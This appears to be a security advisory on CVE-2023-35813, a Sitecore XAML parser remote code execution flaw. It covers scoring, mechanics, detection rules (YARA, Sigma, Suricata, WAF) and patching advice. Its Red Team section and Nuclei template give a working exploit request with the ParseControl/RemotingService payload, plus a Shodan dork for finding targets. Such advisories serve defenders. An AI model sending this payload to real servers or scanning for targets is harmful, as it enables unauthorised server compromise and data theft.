CVE-2023-35813

Executive Summary

CVE-2023-35813 is a critical Remote Code Execution (RCE) vulnerability affecting multiple Sitecore products, including Experience Manager, Experience Platform, and Experience Commerce, up to version 10.3. The vulnerability resides in the ASP.NET XAML parser, allowing an unauthenticated attacker to inject malicious ASP.NET markup via the ParseControl method. Successful exploitation leads to full server compromise, enabling attackers to execute arbitrary commands, access sensitive customer data, and potentially pivot to internal networks. The vulnerability has a CVSS score of 9.8 (Critical) and an EPSS score of 0.93522, indicating a high probability of exploitation in the wild. Public proof-of-concept (PoC) code and a Nuclei template are available, making this a high-priority threat for organizations using affected Sitecore versions.

Supply Chain & Package Security

This vulnerability is not directly related to a package manager (NPM, PyPI, Go, Ruby) but affects the Sitecore content management platform, which is a commercial product. The attack vector involves the ASP.NET framework's ParseControl method, which is part of the .NET runtime. Organizations should ensure their Sitecore deployments are patched and that no custom code or third-party modules rely on vulnerable parsing mechanisms.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 9.8 (Critical)
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – Vulnerability affects only the vulnerable component.
• Confidentiality Impact: High (C:H) – Full data access.
• Integrity Impact: High (I:H) – Full system control.
• Availability Impact: High (A:H) – Potential denial of service.

Threat Level: Critical. The combination of low attack complexity, no authentication, and public exploit code makes this a high-risk vulnerability for unpatched systems.

Deep Dive & Mechanics

The vulnerability exploits the ASP.NET ParseControl method within the Sitecore XAML handler (sitecore_xaml.ashx). The attacker sends a POST request to the vulnerable endpoint with a crafted payload that registers a custom tag prefix pointing to the System.Runtime.Remoting.Services namespace. This allows the attacker to instantiate the RemotingService class and set arbitrary HTTP response headers (e.g., Content-Type). The core issue is that the XAML parser does not sanitize or restrict the types of controls that can be parsed, enabling the injection of arbitrary ASP.NET markup.

Attack Flow:

1. The attacker sends a POST request to /sitecore_xaml.ashx/-/xaml/Sitecore.Xaml.Tutorials.Styles.Index with a payload containing a ParseControl directive.
2. The payload registers a custom tag prefix and uses the RemotingService control to manipulate the response.
3. The server processes the request, executes the injected code, and returns a response with the attacker-controlled content type.
4. The attacker can then use this foothold to execute further commands, potentially via additional payloads or by leveraging the compromised server.

Root Cause: The Sitecore XAML handler does not validate or restrict the types of controls that can be parsed via ParseControl, allowing attackers to instantiate arbitrary .NET types.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual): The vulnerable endpoint (sitecore_xaml.ashx) processes user-supplied parameters (__PARAMETERS) and passes them directly to ParseControl without sanitization.

// Vulnerable: Directly parsing user input
string parameters = Request.Form["__PARAMETERS"];
Control control = ParseControl(parameters);

Patched Code (Conceptual): The patched version should validate the input and restrict the types of controls that can be parsed, or disable the ParseControl functionality entirely for untrusted input.

// Patched: Validate and restrict control types
string parameters = Request.Form["__PARAMETERS"];
if (!IsAllowedControlType(parameters))
{
    throw new SecurityException("Invalid control type.");
}
Control control = ParseControl(parameters);

Note: The exact patch details are not publicly available, but Sitecore's KB1002979 provides the official fix.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A vulnerable Sitecore instance (version <= 10.3).
• Network access to the target server.

Exploitation Steps:

1. Identify the target Sitecore server (e.g., via Shodan dork title:"Sitecore").
2. Send a crafted POST request to the vulnerable endpoint with the payload.

Example Request (using cURL):

curl -X POST "http://target/sitecore_xaml.ashx/-/xaml/Sitecore.Xaml.Tutorials.Styles.Index" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "__ISEVENT=1&__SOURCE=&__PARAMETERS=ParseControl(\"<%@Register TagPrefix='x' Namespace='System.Runtime.Remoting.Services' Assembly='System.Runtime.Remoting, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'%><x:RemotingService runat='server' Context-Response-ContentType='test123'/>\")"

Expected Response:

• HTTP 200 OK with Content-Type: test123 in the response headers.

Advanced Exploitation:

• Use the RemotingService to execute arbitrary commands by chaining with other .NET classes (e.g., System.Diagnostics.Process).
• Leverage the compromised server for lateral movement.

Blue Team

Detection:

• Monitor for POST requests to /sitecore_xaml.ashx with unusual __PARAMETERS values.
• Look for ParseControl calls in web server logs.
• Use the provided YARA and Sigma rules to detect malicious payloads.

Hunting:

• Search for RemotingService or System.Runtime.Remoting in web logs.
• Check for unexpected Content-Type headers in responses from Sitecore endpoints.

Containment:

• Immediately isolate affected servers.
• Apply the patch from Sitecore KB1002979.
• Review and rotate all credentials stored on the compromised server.

Indicators of Compromise (IOCs)

Network IOCs:

• POST requests to /sitecore_xaml.ashx/-/xaml/Sitecore.Xaml.Tutorials.Styles.Index
• Payloads containing ParseControl, RemotingService, or System.Runtime.Remoting
• Unusual Content-Type headers in responses (e.g., test123)

File IOCs:

• Temporary ASP.NET files with suspicious content.
• Modified web.config files.

System IOCs:

• Unusual processes spawned by the IIS worker process (w3wp.exe).
• New user accounts or scheduled tasks.

Detection Engineering

YARA Rule

rule CVE_2023_35813_Sitecore_RCE {
    meta:
        description = "Detects malicious payloads targeting CVE-2023-35813"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2023-35813"
    strings:
        $payload1 = "ParseControl" ascii wide nocase
        $payload2 = "RemotingService" ascii wide nocase
        $payload3 = "System.Runtime.Remoting" ascii wide nocase
        $payload4 = "sitecore_xaml.ashx" ascii wide nocase
    condition:
        any of ($payload*) and #payload1 > 0
}

Sigma Rule

title: Sitecore RCE via XAML Parser (CVE-2023-35813)
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects exploitation attempts of CVE-2023-35813 via web server logs
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: iis
detection:
    selection:
        cs-uri-query|contains:
            - "ParseControl"
            - "RemotingService"
            - "System.Runtime.Remoting"
        cs-uri-stem|contains: "sitecore_xaml.ashx"
    condition: selection
falsepositives:
    - Legitimate Sitecore development activities (rare)
level: critical

Suricata Rule

alert http any any -> any any (msg:"CVE-2023-35813 Sitecore RCE Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/sitecore_xaml.ashx"; http_uri; content:"ParseControl"; http_client_body; content:"RemotingService"; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)

Nuclei Template (Provided)

id: CVE-2023-35813

info:
  name: Sitecore - Remote Code Execution
  author: DhiyaneshDk,iamnoooob
  severity: critical
  description: |
    Multiple Sitecore products allow remote code execution. This affects Experience Manager, Experience Platform, and Experience Commerce through 10.3.
  impact: |
    Unauthenticated attackers can execute arbitrary code on Sitecore servers through the XAML parser by injecting malicious ASP.NET markup, potentially compromising the entire content management system and accessing sensitive customer data.
  remediation: |
    Apply Sitecore security patches as outlined in KB1002979 for Experience Manager, Experience Platform, and Experience Commerce versions through 10.3.
  reference:
    - https://support.sitecore.com/kb?id=kb_article_view&sysparm_article=KB1002979
    - https://code-white.com/blog/exploiting-asp.net-templateparser-part-1/
    - https://nvd.nist.gov/vuln/detail/CVE-2023-35813
    - https://support.sitecore.com/kb?id=kb_article_view&sysparm_article=KB1002979
    - https://github.com/BagheeraAltered/CVE-2023-35813-PoC
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-35813
    cwe-id: CWE-22,CWE-23
    epss-score: 0.93522
    epss-percentile: 0.99831
    cpe: cpe:2.3:a:sitecore:experience_commerce:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: sitecore
    product: experience_commerce
    shodan-query:
      - title:"Sitecore"
      - http.title:"sitecore"
    fofa-query: title="sitecore"
    google-query: intitle:"sitecore"
  tags: cve2023,cve,sitecore,rce,vkev,vuln
variables:
  string: "{{rand_base(6)}}"
  payload: |
    <%@Register
        TagPrefix = 'x'
        Namespace = 'System.Runtime.Remoting.Services'
        Assembly = 'System.Runtime.Remoting, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'
    %>
    <x:RemotingService runat='server'
        Context-Response-ContentType='{{string}}'
    />

http:
  - raw:
      - |
        POST /sitecore_xaml.ashx/-/xaml/Sitecore.Xaml.Tutorials.Styles.Index HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        __ISEVENT=1&__SOURCE=&__PARAMETERS=ParseControl("{{url_encode(payload)}}")

    matchers:
      - type: dsl
        dsl:
          - contains(content_type, '{{string}}')
          - contains_all(body, 'commands', 'command', 'value')
          - status_code == 200
        condition: and
# digest: 4b0a00483046022100f01eb9345190300455bcf1221357fa30198134ead29ed194398b36f242db2bf3022100b9449a9ec56c47fdbe5da0041cb6257be31e9c19323c9d79a6c30fd1560d08be:922c64590222798bb761d5b6d8e72950

Remediation & Mitigation

Immediate Actions:

1. Apply the official patch from Sitecore KB1002979.
2. If patching is not immediately possible, block access to the /sitecore_xaml.ashx endpoint via web application firewall (WAF) rules.
3. Restrict network access to Sitecore servers to trusted IPs only.

Long-Term Mitigations:

• Implement input validation for all user-supplied parameters.
• Disable or restrict the use of ParseControl in custom Sitecore modules.
• Regularly update Sitecore to the latest version.
• Monitor for suspicious activity using the provided detection rules.

WAF Rule Example (ModSecurity):

SecRule REQUEST_URI "/sitecore_xaml.ashx" "id:1000002,phase:1,deny,status:403,msg:'Sitecore RCE Attempt'"

Valters IT Signature

This report was generated by Valters IT, an elite DevSecOps and Cyber Threat Intelligence team. For further analysis or assistance, contact us at valters@example.com.

{/* [Security Hash: 588E1F4B392757F8EB51F6BE] */}